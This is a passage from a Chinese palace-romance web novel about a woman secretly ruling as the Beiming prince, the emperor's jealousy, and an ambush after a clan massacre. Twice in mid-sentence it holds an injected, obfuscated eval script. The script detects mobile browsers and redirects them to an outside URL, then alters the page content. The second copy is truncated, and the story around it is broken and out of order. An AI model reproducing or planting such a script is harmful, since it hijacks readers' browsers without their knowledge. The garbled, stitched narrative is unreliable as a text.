连日紧绷的神经终于能松一松,她当即决定换上常服,出门溜一圈透气。 原本她打算让谢随留在府中看家,自己轻装简行。可谁知,她刚一提“出门”二字,谢随立刻上前半步,垂首肃立,态度异常坚决。 “王,属下随行。” “江湖复杂,街头人多眼杂,属下必须护在左右。” 他语气平淡,却带着一股不容拒绝的执拗,一遍又一遍,反复请求。 祈昭被他缠得没法,又实在拗不过这股死心眼的忠心,只能无奈点头:“行了行了,带你一起,别跟着太紧。” 谢随这才微微松口气,眼底掠过一丝不易察觉的安心。 ——他只是怕,一不留神,又有人把他家王抢走、靠近、缠上。 京城街头人来人往,热闹非凡。 糖画、糖葫芦、桂花糕、杏仁酥、热包子……香气一路飘过去,看得人食指大动。 祈昭一身素色青衫,长发束起,模样清俊,乍看就像一位出门散心的世家公子。可她毕竟是北冥王,自幼习惯了端着架子,再馋也不能当众失态。 于是,一路便出现了这样的画面—— 她目光锁定某样小吃,脚步微顿,眼神亮一瞬,然后不动声色地,轻轻拽一下谢随的袖子。 力道很轻,一扯即松。 只有两人懂的暗号。 谢随垂眸一瞥,便心领神会,上前一步,不动声色付钱,将东西包好,稳稳揣进怀中。 全程没有一句多余对话,默契得不像话。 祈昭目不斜视,继续往前走,一派清冷高贵、不食人间烟火的王爷风范。 只有微微翘起的嘴角,泄露了她此刻的好心情。 谢随跟在她身后半步,怀里揣着一包又一包小吃,胸膛被温热的香气填满,冷硬的眉眼间,也悄悄柔和下来。 旁人只当是公子与护卫,谁也不知道,这位威风凛凛的北冥王,正一路拽着护卫袖子,偷偷点单。 逛够了,两人一前一后返回北冥王府。 一进院门,确定四下无人,祈昭才松了所有架子。 她快步走进自己的小书房,反手关上门,眼底瞬间亮得像偷吃到糖的孩子。 谢随将怀里一包又一包小吃一一拿出来,摆在桌上。 糖葫芦红亮诱人,桂花酥香气扑鼻,杏仁酥层层酥脆。 祈昭坐在桌边,不再端什么王爷风范,拿起一串糖葫芦,轻轻咬下一颗。 酸甜在嘴里炸开。 她眼睛微微眯起,满足地轻叹一声。 谢随站在一旁,安安静静看着她吃,眼底没有半分鄙夷,只有小心翼翼的珍视与温柔。 在外,她是杀伐果断、不可侵犯的北冥王。 在内,她只是会馋小吃、会拽他袖子、会偷偷吃东西的祈昭。 “王,慢点吃,别噎着。” 他低声叮嘱,顺手递过温水。 祈昭含着糖,含糊不清“嗯”了一声,腮帮子微微鼓着,模样难得娇憨。 窗外日光正好,屋内香气温柔。 无人知晓,权倾北疆的王,最安心的快乐,不过是街头几样小吃,和一个永远懂她、替她兜底的人。 35. 王生来这样·五 傍晚霞光染透半边宫墙,祈昭按内侍传召再度入宫。 本以为和前几次一样,萧惊渊早就在御书房等她,黏人几句便罢了。可她在偏殿坐等了一盏茶又一盏茶,暖炉都换了两回,始终没见帝王身影。 内侍只赔笑:“陛下临时被长公主殿下叫去了,殿下稍候,稍候……” 祈昭越坐越心焦,索性起身,自行往御书房方向寻去。 刚转过廊角,便听见两道脚步声并肩而来,说话声一清冽一沉稳。 她抬眼望去—— 当先一人自然是萧惊渊,明黄衣袍,身姿挺拔。 可他身边那人,让祈昭瞬间定在原地。 对方比萧惊渊稍矮一点,却比祈昭足足高出大半个头。 看着是女子轮廓,眉眼英气,鼻梁利落,气质爽利干脆,一身最普通的素色常服,不戴珠钗、不抹脂粉,却自带一股硬朗坦荡的阳刚之气,像常年行走江湖的侠女,又有皇室藏不住的气度。 祈昭脑子里“嗡”的一声。 一个恐怖的念头浮上来: 我身高好像有点岌岌可危了。 她真实身高一七五,对外一直宣称近一米九,平日里往朝臣里一站,气势压人,谁也不敢较真。 可眼前这两位—— 萧惊渊本就比她高,旁边这位女子更是高挑挺拔,两人并肩走来,生生把她衬得……小巧了一圈。 祈昭默默往后缩了半步,下意识挺直背脊。 直到两人走近,萧惊渊先开口,语气难得带了点轻松: “阿昭,久等了。给你介绍,这是朕的皇姐,大长公主——萧惊月。” 女子上前一步,目光坦荡地打量祈昭,眼神里没有敬畏,只有直白的欣赏,爽朗一笑: “你就是北冥王祈昭?久闻大名,本宫刚从南疆游历回来,一回来就听惊渊天天把你挂在嘴边。” 她声音不柔不细,带着几分劲气,一听就是性格敞亮之人。 祈昭立刻收敛心神,躬身行礼,依旧是沉稳端方的北冥王腔调: “臣,祈昭,见过长公主。” 萧惊月伸手轻轻一扶,指尖碰到她手臂,笑着打趣: “不必多礼,本宫瞧你倒是比传闻里更清俊。就是……看着略显单薄,日后在宫里,不必这般拘谨。” 她是真喜欢祈昭这模样——不骄不躁,冷静沉稳,气质干净,和朝堂上那些油滑老臣完全不同。 从头到尾,她只当祈昭是个年少有为、身形偏清瘦的少年王爷,半点没往“女扮男装”上猜。 祈昭站在两人中间,被两个高个子夹着,心里默默流泪。 对外吹的一米八几的人设,在皇姐这实打实的身高面前,快要绷不住了。 萧惊渊看出她那点微妙的不自在,偷偷勾了勾她的袖口,低声憋笑: “皇姐常年在外习武游历,比寻常女子高得多,你不用……” 祈昭冷冷斜他一眼,用口型无声威胁: 你再笑试试看。 萧惊月看他俩这小动作,眼底笑意更深。 她算是看出来了—— 这位北冥王,在她弟弟这儿,是真不一样。 萧惊渊原本想着找个由头把皇姐支去偏殿,好拉着祈昭进御书房说几句体己话,刚要开口提“御花园新送了南疆进贡的蓝菊”,手腕就被萧惊月一把拍开。 “急什么?”萧惊月眼梢都没斜他,掌心已经覆上了祈昭的手。 触感温热,指节纤细,比她常年握剑的手小了整整一圈,骨相精致得像上好的羊脂玉。萧惊月指尖轻轻摩挲了两下,心里忍不住啧了一声:果然是个清隽的小娇男,难怪自家弟弟天天挂在嘴边。 她越看越喜欢,收回手还觉不够,顺势抬起另一只手,就要去捏祈昭的脸颊,想试试这张冷白皮是不是也像看着那般细腻。 “别碰她!” 萧惊渊的声音带着压不住的急,手腕一翻,精准扣住萧惊月的手腕,往旁边狠狠一甩。 力道不小,萧惊月习武多年,反应极快,反手就攥住他的手腕往回一拧。两人瞬间较上劲,明黄衣袍与素色常服擦过,带起一阵风。 祈昭被夹在中间,只觉两股力道撞得她耳膜发响,连忙后退半步,抬手按住两人交缠的手腕:“陛下,长公主,住手!” 萧惊月手腕微松,却没真放,挑眉看向萧惊渊,眼底带着几分玩味的狠劲:“怎么?朕的皇弟,这就护上了?” “她是北冥王,不是你随便逗弄的人!”萧惊渊下颌线绷得死紧,指节泛白,显然是真急了。他太清楚皇姐的性子,闹起来没轻没重,万一真触到祈昭女扮男装的底线,或是被她看出破绽,后果不堪设想。 “北冥王怎么了?”萧惊月嗤笑一声,终于松了手,却顺势用指尖点了点祈昭的肩膀,语气爽朗又带着点调侃,“本宫看北冥王生得好,多亲近亲近,也碍着你的眼了?” 她说着,又往祈昭身边凑了凑,刻意压低声音,用只有两人能听到的音量说:“小王爷,你这手生得真好看,比宫里那些妃嫔的还精致。” 祈昭脸颊微不可察地一热,往后缩了缩,避开她的视线,语气依旧沉稳:“长公主谬赞。” 可只有她自己知道,后背已经沁出了一层薄汗。一边是步步紧逼、眼神直白的长公主,一边是醋意冲天、随时要动手的帝王,这局面比面对十万敌军还让人头疼。 萧惊渊见她窘迫,心头的火气消了几分,却还是上前一步,将祈昭护在身后,对着萧惊月沉声道:“皇姐刚回朝,一路劳顿,不如先回长信宫歇着,朕已让人备好了接风宴,晚些时候再为你庆功。” “歇什么?”萧惊月双手抱臂,半点不退,目光越过他的肩膀,依旧落在祈昭身上,“本宫游历半年,好不容易见着个合眼缘的,今儿非得跟北冥王好好聊聊不可。” 她说着,忽然话锋一转,看向祈昭,眼底带着几分狡黠:“小王爷,听说你昨日批完了所有奏折?本宫刚从南冥国回来,正有不少那边的见闻想跟你说说,不如你陪本宫去御花园走走?” 祈昭刚要开口推辞,萧惊渊已经抢先一步:“皇姐要听见闻,朕陪你便是!” “你?”萧惊月斜睨他一眼,“你除了批奏折就是缠人,懂什么南冥国的江湖趣事?” 话音未落,她忽然抬手,作势又要去拍祈昭的脸颊。 萧惊渊反应极快,反手就抓住她的手腕,这一次力道更重,语气里带着几分警告:“皇姐,别得寸进尺。” “哟,还真急眼了?”萧惊月眼底的笑意更浓,忽然松开手,往后退了两步,摊了摊手,“行,本宫不逗你了。” 她看向祈昭,笑意坦荡:“北冥王放心,本宫就是觉得你合眼缘,没有别的意思。” 说完,她转身就走,走了两步又回头,冲萧惊渊挥了挥手:“接风宴就免了,明儿本宫去北冥王府找小王爷,你可别再拦着!” 脚步声渐远,御花园的回廊下终于安静下来。 祈昭松了口气,刚要推开身前的萧惊渊,就被他反手揽进怀里,下巴抵在她的发顶,声音闷闷的:“阿昭,你离她远点。” 祈昭推了推他的胸膛,没推开,只能由着他抱着,语气带着几分无奈:“陛下,长公主只是性子爽朗。” “她爽朗?”萧惊渊哼了一声,收紧手臂,占有欲十足地将她圈得更紧,“她那是看上你了。除了我,谁都不能碰你。” 祈昭脸颊发烫,抬手轻轻掐了一下他的腰:“陛下慎言,臣是男子。” “男子也不行。”萧惊渊低头,在她耳边咬着牙说,“你的手,你的脸,只能我碰。” 他说着,忽然牵起她的手,掌心相贴,十指紧扣,仿佛要将这份占有刻进骨子里。 祈昭看着两人交缠的手,又想起方才萧惊月那句“小娇男”,脸颊更烫,却终究没有再推开他。 萧惊渊盯着祈昭泛红的脸颊,再联想起方才皇姐肆无忌惮摸手、差点摸脸的样子,脑子里那根弦“啪”地一下,彻底断了。 他越想越气,越想越酸—— 他一个九五之尊,后宫空得能跑马,半个妃嫔都懒得纳,满心满眼全是她一个人。 可她倒好,堂堂北冥王,府里娇妻美妾一群,纳了满满一后院的宠妾,平日里跟那群女子笑闹打闹,簪子插头上,胭脂抹嘴上,亲密得不行。 刚才皇姐一碰她的手,她也没怎么强硬反抗,就那么乖乖被摸了。 醋意、占有欲、危机感,一股脑全冲上来,萧惊渊都快被逼疯了,脸色沉得吓人,再没半分平日嬉皮笑脸的样子,抓着祈昭的手腕,语气又急又认真,近乎郑重警告: “祈昭,你给我听清楚——离我姐远点!” “她就是个笑面虎,看着爽朗好说话,骨子里疯得很! 她什么都做得出来!” 祈昭一怔,还没反应过来,就见萧惊渊压低声音,字字凝重,几乎是咬着牙说: “我告诉你,她不管你是男是女。 就算她看出来、猜出来你是女子,她照样能喜欢你、对你动手动脚!” “她就是这种人! 谁合她眼缘,她就敢往上凑,半点规矩都不讲!” 萧惊渊越说越急,眼底全是慌神,死死盯着她: “你别被她那副好亲近的样子骗了,她就是个疯子! 方才她摸你的手,我都快气炸了——你还不躲!” 他一想到祈昭可能被皇姐盯上、可能被看穿身份、可能被抢走,整个人都处于失控边缘。 再想起北冥府里那群围着祈昭转的宠妾,再对比自己空无一人的后宫,萧惊渊醋得眼睛都红了,声音都带上了一丝委屈又狠戾的颤音: “我后宫空着,一个人都没有,我只想要你。 你倒好,府里一群莺莺燕燕,现在连我姐都要来凑一脚……” 祈昭站在原地,看着眼前快要疯魔、又认真又慌的帝王,先是一愣,随即彻底明白了。 这人哪里是怕皇姐欺负她, 分明是—— 醋坛子彻底炸翻,怕她被别人抢走啊。 祈昭被他说得心头一跳,又有点莫名心虚——她其实真觉得这位长公主又帅又飒,心里还悄悄多瞧了好几眼。 可一看萧惊渊那眼神,又急又酸、快要原地炸毛的样子,她连忙伸手按住他胳膊,压低声音急急忙忙提醒: “殿下,这是院外,不是你屋里。” 她飞快扫了一眼四周,廊下远处还有侍卫内侍垂首站着,虽不敢抬头,可耳朵都尖着呢。 “有人看着呢,再闹下去要乱传了。” 祈昭声音又轻又急,耳根还带着未散的红,“我们……回你房里再说。” 这话一出,萧惊渊眼底的疯劲儿瞬间一滞,紧跟着就亮了。 回他房里说—— 那意思不就是,只说给他一个人听吗? 他立刻收敛了满身戾气,可嘴角还是压不住地往上扬,又故意板着脸,醋意未消: “你还知道怕人传?方才被我姐摸手的时候,怎么不见你躲?” 祈昭被他堵得一噎,又气又无奈: “那是长公主,我能当场甩脸子吗?” 萧惊渊哼了一声,心里那股酸水还在冒,却也知道此刻不是胡闹的时候。 他伸手,自然地牵住她的手腕,力道轻轻扣着,宣示主权似的,往御书房方向带。 “走。” “回屋说。” “今天你必须把话给我说清楚—— 你那王府后院到底怎么回事, 还有,你刚才看我姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261131|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那眼神,到底在想什么。” 祈昭被他牵着走,听着这一连串又酸又较真的话,无奈地叹了口气。 她算是看明白了。 这位九五之尊,醋起来是真不讲理,缠起来是真甩不掉。 可她心里,却没半点真恼, 只有一丝轻轻发烫的软。 一踏入御书房内殿,萧惊渊反手就把门“咔嗒”一声落了锁,隔绝了外面所有耳目。 殿内只点着安神的龙涎香,暖炉烘得空气温热,四下安静得能听见彼此的呼吸。 祈昭刚松了口气,还没来得及转身,手腕就被人猛地一拽,整个人被他按在了门板上。 萧惊渊俯身,居高临下地盯着她,一双墨眸沉沉的,还裹着没散完的醋意和占有欲,鼻尖几乎要碰到她的额头。 “现在没人了。” 他声音压得很低,带着一丝委屈,又带着一丝逼问,“你可以老实说了。” 祈昭被他困在臂弯与门板之间,动弹不得,脸颊又开始发烫,偏过头不敢看他:“陛下,你这是做什么……君臣有别。” “君臣?”萧惊渊轻笑一声,语气却沉得厉害,“你府里三妻四妾、娇妻美妾一大堆的时候,怎么不想想君臣有别? 朕坐拥天下,后宫空无一人,满心满眼只有你一个。 你倒好,又是养着一院子美人,又是对着我姐挪不开眼……” 说到这儿,他喉结滚了滚,眼底泛起一点微红,语气都软了下来,带着几分可怜: “阿昭,你是不是……从来没把我放在心上?” 祈昭一怔,抬头撞进他湿漉漉的眼神里,心猛地一软。 她其实哪里有什么后宫,不过是为了遮掩女扮男装的身份,故意摆出来的幌子,府里那些所谓的“妃妾”,全是幌子、是摆设,连她的寝殿都靠近不了。 可这话不能明说。 她咬了咬唇,伸手轻轻推了推他的胸口,声音放轻了几分: “我没有。” “没有什么?”萧惊渊不依不饶,微微低头,额头抵着她的额头,呼吸缠在一起,“没有喜欢我姐?还是没有把我当回事?” 祈昭被他逼得退无可退,耳尖烧得快要滴血,只能含糊道: “长公主是很帅很飒,我只是……欣赏,没有别的。 至于王府里的人,都是做给外人看的,作不得数。” 这话像是一颗定心丸,砸进萧惊渊心里。 他眼底瞬间亮了起来,刚才还阴沉的脸色,一下子云开雾散,嘴角控制不住地往上扬。 “作不得数?”他重复了一遍,语气轻快了不少,“那你的意思是,你心里只有我?” 祈昭闭了闭眼,懒得跟他耍嘴皮子,干脆破罐子破摔: “是是是,就你一个,行了吧? 陛下,你能不能先放开我,这样成何体统。” 萧惊渊非但不放,反而得寸进尺,伸手轻轻圈住她的腰,把人往自己怀里带了带,下巴搁在她的发顶,心满意足地蹭了蹭。 “不放。” “方才在外面,你被皇姐碰了手,我要讨回来。” 他说着,抓起她的手,放在鼻尖轻轻碰了一下,又十指紧扣,牢牢攥在掌心,像是握住了全世界最珍贵的宝贝。 “以后不准让任何人碰你,男的女的都不行。” “我姐也不行。” “只有我可以。” 祈昭靠在他怀里,听着他霸道又幼稚的话 她无奈地轻轻叹了口气,却没有再挣开。 罢了。 祈昭轻轻抬手,稳稳将他推开半步,脸上那点薄红褪去,重新恢复了平日沉稳冷静的模样,语气也认真了几分。 “殿下,我是被你传召入宫的,并非自己想来,也不敢抗旨。” 她抬眼看向他,眼神坦荡又清醒,“你特意把我叫进来,又把皇姐支开,到底有什么正事,直接说便是。我知道你大概是闲了、或是想找人说说话,但陛下日理万机,我王府中也还有事要处理,不能久留。” 顿了顿,她微微垂眸,声音淡了些,却字字清晰。 “更何况,你我如今,既未明说心意,也未确认关系,这般亲近,于礼不合,于理不妥。陛下身份尊贵,臣是外藩王爷,分寸二字,还望谨记。” 她没有半分娇怯,也没有躲闪,只是站在那里,清清冷冷地把话讲明白,既不越界,也不留让人误会的余地。 萧惊渊看着她骤然拉开的距离,心头那点刚升起的甜意瞬间沉了下去,嘴角的笑意也慢慢收了起来。 他知道祈昭说得没错,道理他都懂,可就是控制不住地想靠近、想触碰、想把人留在身边。 他沉默了片刻,没有上前,也没有再闹,只是抬手揉了揉眉心,语气恢复了几分帝王的沉稳,却依旧藏着不易察觉的软。 “……没有什么大事。” 他低声道,“只是近日政务繁杂,又见你前几日累得脱力,放心不下,才想叫你过来看看。” 他避开了所有暧昧,也没提半句喜欢,只是把那份藏不住的牵挂,用最平淡、最不越界的方式说了出来。 “既然你王府有事,我也不强留。” 萧惊渊抬眼,目光落在她身上,轻轻叹了口气,“只是记住,前几日累伤了,别再硬撑。若是再传出来累倒的话,我还是会直接闯去你王府。” 没有表白,没有承诺, 只有一句克制到极点的、不敢宣之于口的担心。 祈昭听着,指尖微不可察地顿了顿,随即躬身行礼,语气平和了许多: “臣知晓了,多谢陛下挂心。臣会保重身体,也请陛下以龙体为重。” 殿内的气氛静了一瞬,少了方才的纠缠滚烫,多了几分心照不宣的分寸与安稳。 36. 王生来这样·六 萧惊渊看着眼前冷静自持的祈昭,心口像被一只手紧紧攥着,闷得发疼。 他比谁都清楚,有些话一旦说出口,便是万劫不复。 他不敢表白。 一旦明说心意,以祈昭的清醒与克制,必定会干脆利落地拒绝,从此刻意疏远,连如今这样近的距离都再难拥有。 可他更不敢、也不能戳破她藏在男装之下的秘密。 他比谁都明白,祈昭女子身份一旦暴露,等待她的不是情爱,是灭顶之灾。 北冥封地素来规矩森严,王族旁支虎视眈眈,一个个盯着北冥王这个位置,恨不得抓她一点错处就将她拉下高位、取而代之。 若是被他们知道,如今执掌北冥、权倾一方的王,竟是个隐瞒身份的女子,那些人绝不会放过这个绝佳的机会。 到时候,她的位置会被瞬间顶替,北冥王府会被旁支彻底占据,她辛苦守住的一切都会化为乌有。 而欺瞒王族、僭越居位,在北冥是死罪。 轻则囚禁终身,受尽折辱,重则当众赐死,连一具全尸都留不下。 那些人不会管她这些年如何兢兢业业、如何撑起北冥、如何护一方安稳。 他们只会盯着“女子为王”这四个字,狠狠踩碎她,撕碎她,让她再无翻身之日。 萧惊渊一想到那样的画面,指尖就控制不住地发凉。 他可以忍住不靠近,忍住不表白,忍住所有汹涌的心意,唯独忍不住让她陷入半分危险。 他沉默着,眼底翻涌着复杂的情绪,有克制,有心疼,有无力,还有深藏的恐惧。 最终只是沉沉地吸了一口气,声音压得极低,带着连自己都察觉不到的沙哑。 “我知道了。” 他没有再靠近,也没有再纠缠,只是往后退了一步,拉开了安全又规矩的距离。 “今日叫你过来,确实没有别的政务,是朕逾矩了。” “你既有事,便先回府吧。” “路上小心,在府里……安分一些,别给旁人抓了把柄。” 每一个字,都守着君臣的分寸。 可每一个字背后,都是他拼尽全力压住的、不敢言说的守护。 他不能给她承诺,不能给她偏爱,甚至不能流露出半分异样,只能用最冷静、最疏远的方式,护她周全。 祈昭从宫里出来,一路都没敢松懈。 前几回遇刺、被暗算的画面还刻在脑子里,她握着腰间佩剑,指尖始终绷着,目光来回扫过街角巷尾、树梢屋檐,连擦肩而过的路人都要多提防两眼。 可奇怪的是,这一路安安静静,连个鬼鬼祟祟的影子都没有,仿佛之前那些凶险全是错觉。 就这么一路紧绷着,平安回到了北冥王府。 一踏进门,跨过高门槛,她整个人才像是松了那根最紧的弦。 可下一秒,一股突如其来的疲惫从脚底往上涌,腿脚莫名发软,眼前微微发花,连站都有些站不稳。 她扶着廊柱喘了口气,只当是这几日连轴转批奏折、又在宫里被萧惊渊折腾得心力交瘁,单纯累狠了。 “王,您脸色不太好,要不要传太医?”谢随见状立刻上前。 “不用。”祈昭摆了摆手,声音都轻了几分,“就是累了,我回房歇会儿。” 她没再撑着处理琐事,径直回了寝殿,连外袍都没完全脱好,往床榻上一倒,眼睛一闭,直接昏睡了过去。 只是这一觉,睡得极不安稳。 窗外夜色渐深,风刮过屋檐,发出低低的呜咽声。 梦里全是破碎又吓人的画面—— 她站在北冥大殿上,底下全是冰冷的眼神,王族旁支的人指着她,厉声喝着“欺君罔上”、“女子僭越”。 有人冲上来扯掉她的王冠,撕碎她的王袍,把她从高位狠狠拽下。 她想挣扎,却浑身动弹不得,喉咙像被堵住,发不出一点声音。 画面一转,又变成了宫闱深处。 萧惊渊站在不远处,眼神复杂地看着她,身后是持剑的侍卫,他张了张嘴,却没说出一个字。 她想喊他,却发现自己发不出声,只能眼睁睁看着他转身离去。 恐惧、无助、被背叛、被抛弃的感觉,死死缠在心头。 她在梦里拼命挣扎,眉头紧紧皱着,额头上全是冷汗,呼吸急促,嘴唇微微发抖,嘴里无意识地低喃着什么,听不清字句,只听得出来慌乱。 整个人蜷缩在被褥里,明明盖着厚被,却像是冷得厉害,微微发颤。 平日里那个杀伐果断、冷静到近乎冷漠的北冥王,在这一场噩梦里,只剩下藏不住的脆弱。 她没喊出声,没哭出来, 只是在无人看见的夜里,被那些最害怕的事情,一遍遍地纠缠。 第二日天刚蒙蒙亮,祈昭还没从昨夜噩梦的疲惫里完全缓过来,外院就传来急促的禀报声,声音都带着慌。 “王!不好了——北冥旁支、南北界那一家,一夜之间全被灭口!” 祈昭猛地坐起身,脸色瞬间冷了下去:“说清楚。” “全家三十九口,老弱妇孺无一幸免,满门被屠……只、只剩下一个小女儿,侥幸活了下来。上头传令,要您亲自出宫,把那孩子接回府。” 祈昭眉头狠狠一拧,疲惫一扫而空,只剩凝重。 “为何要我亲自去?派人去接不就成了。” 她刚经历暗算,本就不宜轻动,如今又出这种灭门惨案,现场必定凶险混乱。 可下一刻,来人颤着声补了一句,直接让祈昭僵住: “那孩子……是您最疼的表姐唯一的女儿。” 祈昭心口一沉。 是她那位从小护着她、待她最亲的表姐的孩子。 表姐早逝,临走前还拉着她的手,托她多照拂这一支。如今满门被杀,只留一个幼女……于公,她是北冥王,必须出面稳住北冥人心;于私,她无论如何都不能丢下这孩子。 她闭了闭眼,再睁眼时,已经全是冷硬决断。 “备车。” “我亲自去。” 谢随在门外听见,立刻上前阻拦:“王,此行太险,您不能——” “必须去。”祈昭打断他,声音沉得没有余地,“那是我表姐的骨血。我不去,谁去?” 她简单整理好衣袍,指尖还带着晨起的微凉,可眼神已经亮得吓人。 一夜灭门,三十九条人命。 这件事,绝不会简单。 而她不知道的是,这趟出门,会把她再次拖进更深的漩涡里。 马车轱辘碾过青石路面,沉稳地朝着南北界方向驶去。 谢随寸步不离地守在祈昭身侧,整个人像一张拉满了弦的弓,警惕性直接拉到了极致。他没有坐得放松分毫,背脊挺得笔直,一手按在腰间佩刀的刀柄上,指节微微泛白,耳尖敏锐地捕捉着车外每一丝风吹草动——马蹄声、车轮声、路人嘈杂声,但凡有半点异常的动静,他都能瞬间察觉。 车窗被他刻意只拉开一条极细的缝隙,方便他观察外面的情况,却又不会暴露车内的祈昭。他的目光冷厉如鹰,扫过街角暗处、两旁楼宇,昨夜灭门惨案太过蹊跷,三十九口无一生还,摆明了是有备而来的狠辣手笔,他绝不能让自家王再陷入半点危险。 祈昭靠在软榻上,眉头微蹙,指尖轻轻揉着太阳穴,脑海里反复翻涌着表姐的模样和那灭门惨案的诡异,心头沉甸甸的。可即便心绪纷乱,她也能清晰感受到谢随周身紧绷的戒备,那股毫不掩饰的护主之意,像一道厚实的屏障,将所有潜在的凶险都隔在了马车之外。 马车微微颠簸,谢随下意识伸手,轻轻扶了一把祈昭的胳膊,动作稳而轻,声音压得极低,满是慎重: “王,再往前便是南北界地界,此处鱼龙混杂,属下会护在车前,您千万不要轻易掀帘。” 祈昭抬眼,看了他一眼,轻轻颔首:“辛苦你了。” 谢随没再多言,只是将戒备又提了三分,整个人如蛰伏的凶兽,只待任何风吹草动,便会第一时间出鞘护主。 马车抵达南北界时,天边已经染成了沉沉的墨色,傍晚的风卷着冷意刮过破败的街巷,空气中弥漫着一股挥之不去的血腥气,阴森得让人头皮发麻。 祈昭压根顾不得天色已晚、此地凶险,掀开车帘就快步冲了进去,谢随紧随其后,持刀护在她身侧,每一步都踩得极为谨慎。 院落里一片狼藉,血迹斑斑的地面上,小小的身影蜷缩在角落,一动不动。 是那个幸存的小女孩。 祈昭心头一紧,什么警惕都抛到了脑后,快步上前就想将孩子抱起来。 就在她指尖刚碰到孩子衣襟的刹那—— 咻——! 一道尖锐的破风声响彻死寂的院落! 一支淬了冷光的利箭,从暗处直直射向孩子的心口! “不好!” 祈昭瞳孔骤缩,几乎是凭着本能反应,猛地抬手去挡。 掌心硬生生接住了箭尖,锋利的金属瞬间划破皮肉,鲜血立刻涌了出来,顺着指缝往下淌。可她像是完全感觉不到疼痛,指节死死攥住箭杆,反手将箭甩落在地,另一只手稳稳抱起孩子,转身就往马车的方向退。 “有埋伏!谢随!” “属下在!” 谢随瞬间暴喝一声,目光死死锁定箭支射来的暗处,提刀就冲了过去,动作快得只剩一道残影。 祈昭抱着昏迷的孩子快步回到马车旁,刚将人放进车厢内层,轰——!!! 一声震耳欲聋的巨响炸开! 整辆马车瞬间被火光吞噬,木板碎裂声、爆炸声混在一起,气浪掀得人耳膜发疼。 千钧一发之际,祈昭整个人扑了上去,将孩子死死护在身下,脊背硬生生扛住了爆炸的冲击。 万幸这辆北冥王专属马车构造特殊,内层装有防火隔层,虽不防爆,却在爆炸瞬间堪堪撑起一道屏障,将最致命的冲击挡去大半。可即便如此,祈昭依旧被震得气血翻涌,后背、手臂全被飞溅的木片和火星划伤,衣衫瞬间染了血。 孩子被她护得严严实实,依旧昏睡着——显然早前就被人下了迷药,对外界的凶险一无所知。 另一边,谢随三两下解决了暗处放箭的刺客,回头看见马车炸成一团火球,心脏瞬间像是被一只巨手狠狠攥碎,脸色惨白如纸。 “王——!!” 他疯了一样往爆炸处冲,声音都带着撕裂般的慌。 烟尘渐渐散去。 祈昭缓缓撑着地面睁开眼,额前碎发被冷汗和血黏在脸上,视线微微发花。 可刚一抬头,脸色骤然一冷。 十来个蒙面黑衣人,已经将她团团围住,眼神阴鸷,步步紧逼。 她二话不说,将依旧昏迷的小女孩紧紧护在身后,左手鲜血淋漓,右手猛地拔出腰间佩剑。 剑刃出鞘,寒光凛冽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我会把你带回北冥王府,一根骨头一根骨头拆了,让你亲眼看着,自己是怎么活不成、死不了的。” 她从不是娇弱需要人护的女子,此刻更不会因为伤痛示弱。 每一个字,都带着杀伐果断的狠劲,是真正执掌生杀的北冥王。 刺客被她吓得魂飞魄散,精神彻底崩溃,颤抖着哭喊出声: “我说我说!是……是北冥旁支的人!是他们给了我们重金,要我们灭了南北界一家,再引你出来,把你彻底除掉!他们说……只要你死了,北冥王的位置就是他们的了!” 祈昭眸色一沉。 果然。 和她心底最担心的猜测一模一样。 返程的马车早已换了一辆备用的,行驶在回府的夜色里,车厢内只听得见沉稳又压抑的呼吸声。 谢随看着自家王浑身是伤、衣衫染血的模样,心都揪成了一团,一遍又一遍低声劝着:“王,您手上的伤口还在流血,后背的炸伤也得赶紧处理,您靠在软垫上歇一会儿吧,属下替您抱着孩子……” 祈昭却只是轻轻摇了摇头,双臂紧紧环着怀里昏睡着的小女孩,半点松开的意思都没有。 孩子小小的身子缩在她怀中,呼吸均匀,还陷在迷药的昏睡里,对先前的九死一生一无所知。祈昭低头看着她稚嫩的脸庞,那眉眼间依稀能看见表姐年少时的模样,心口又是一紧。 这是表姐在世上唯一的骨血,是她拼了命也要护下来的人。 只要她还醒着,还能撑住,就绝不会把孩子交给任何人。 “不用。” 她的声音带着一丝疲惫的沙哑,却异常坚定,“我抱着就好。” 手掌上的伤口还在渗血,染红了孩子衣角的一小块布料,后背每颠簸一下就传来钻心的疼,眼前也一阵阵发虚,可祈昭只是微微收紧手臂,将孩子护得更安稳些,脊背依旧挺得笔直。 谢随急得眼眶都红了,却又不敢强行去夺,只能一遍遍地轻劝,一遍遍地检查她的伤口,手足无措。 他从未见过自家王这般模样—— 不是朝堂上杀伐果断的北冥王,不是平日里冷静自持的祈昭, 只是一个死死护着亲人遗孤、哪怕自己遍体鳞伤,也不肯松一口气的人。 马车在夜色里疾驰,祈昭就这么抱着孩子,一路强撑着,没有合眼,没有倚靠,更没有松开过半分。 她怀里抱着的,不只是一个幸存的孩子, 是表姐的托付,是她唯一的软肋,也是她此刻,最不能倒下的理由。 她刚要再追问细节,不远处就传来谢随急促慌乱的脚步声: “王!王你没事吧——!” 祈昭没有回头,依旧踩着那人,声音冷冽吩咐: “谢随,把人带回去,严加看管。 一个字都不能漏,全部审出来。” 说完,她才缓缓松开脚,挺直脊背站定。 鲜血还在往下淌,伤口疼得几乎让她眼前发黑,可她依旧站得笔直,没有晃一下,没有皱一下眉,更没有半分要倒下的模样。 她只是低头,轻轻看了一眼身后被护得安然无恙的小女孩。 只要这孩子没事,只要她还站着, 谁也别想动她北冥,动她身边的人。 37. 王生来这样·七 马车终于停在北冥王府朱漆大门前时,夜色已经深到了极致。 